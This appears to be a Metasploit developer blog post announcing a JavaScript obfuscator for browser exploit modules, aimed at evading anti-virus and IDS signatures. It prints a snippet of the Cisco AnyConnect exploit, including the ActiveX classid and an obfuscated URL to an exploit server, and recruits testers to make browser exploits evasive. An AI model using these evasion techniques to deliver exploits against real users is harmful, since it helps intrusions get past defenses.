As of this writing, Metasploit has 152 browser exploits. Of those, 116 use javascript either to trigger the vulnerability or as a means to control the memory layout of the browser process [1]. Right now most of that javascript is static. That makes it easier for anti-virus and IDS folks to signature. That makes it less likely for you to get a shell.

Skape recognized this problem several years ago and added Rex::Exploitation::ObfuscateJS to address it. This first-gen obfuscator was based on substituting static strings which requires a priori knowledge of what you want to substitute, meaning you need to take care of variable names. Changes to the code need to be reflected in the calls to obfuscate() and anything you miss will remain static. It also means that you have to ensure variable names don't end up in a string or elsewhere where they might get inadvertantly smashed. To overcome these limitations, several modules employ a simple technique of using random values for javascript vars but they lose out on string manipulations.

Enter RKelly, a pure-ruby javascript lexer. Having a full parser gives us a lot more power than the previous obfuscation techniques available in the framework. For one, it gives us type information for literals, which makes string and number mangling really easy.  While a particular static ROP chain might be easy to fingerprint, that same string can be easily represented numerous ways through javascript manipulations. Some of the ideas for mangling literals came from Drivesploit with several new techniques thrown in as well. There's even a wrapper class, Rex::Exploitation::JSObfu for dealing with it. Syntax is simlar to it's older cousin, but without the need for klunky lists of varnames to replace.

Here's an example from windows/browser/cisco_anyconnect_exec:

     js = ::Rex::Exploitation::JSObfu.new %Q|       var x = document.createElement("object");       x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");       x.url = "#{url}/#{dir}/";     |     js.obfuscate     html = "<html>\n<script>\n#{js}\n</script>\n</html>" 

And the html as delivered to a browser:

<html> <script> var GPSweCkB = document.createElement((function () { var XoNO="ject",apoc="ob"; return apoc XoNO })()); GPSweCkB.setAttribute((function () { var pYmx="ssid",aTIE="a",tvPA="cl"; return tvPA aTIE pYmx })(), (function () { var MbWt="7566",UcNA="7",PUHo="c",yFIi="6-2F5",YXvW="sid",sYCs="E-4BAF",SZBF="9",yZMK="-AC28-CF26AA",BmVk="l",AbBB="58",iRQW="636",RQLv=":55"; return PUHo BmVk YXvW RQLv SZBF iRQW UcNA yFIi sYCs yZMK AbBB MbWt })()); GPSweCkB.url = String.fromCharCode(104,0164,0164,112,0x3a,0x2f,0x2f,49,50,067,056,48,0x2e,48,46,49,072,0x38,060,070,060,47,47,112,0165,0x46,0x62,0x4a,111,0146,0124,0143,0172,0x43,89,82,0x75,65,111,81,47); </script> </html> 

Of course, this will be different for each request.

So now a call to arms. We could use some help testing 116 browser exploits to see if javascript obfuscation is viable and several issues make that more challenging. For one, getting ahold of the vulnerable software is sometimes quite difficult. Also, in some cases where the vulnerability has very restrictive memory layout requirements, obfuscation may break the exploit.

What we need is people with old browsers and old plugins/toolbars/etc who can:

  • Modify exploit modules to use the new obfuscation techniques
  • Test their changes against as many versions of the vulnerable software as possible
  • Test their changes against any anti-virus that claims to protect web browsing

If you're interested in helping out, contact me in #metasploit on FreeNode, or @egyp7 on twitter.

[1] Gathered with the following commands:

  $ ls modules/exploits/*/browser/*.rb | wc -l   152   $ ls modules/exploits/*/browser/*.rb | xargs grep '<script' | wc -l   116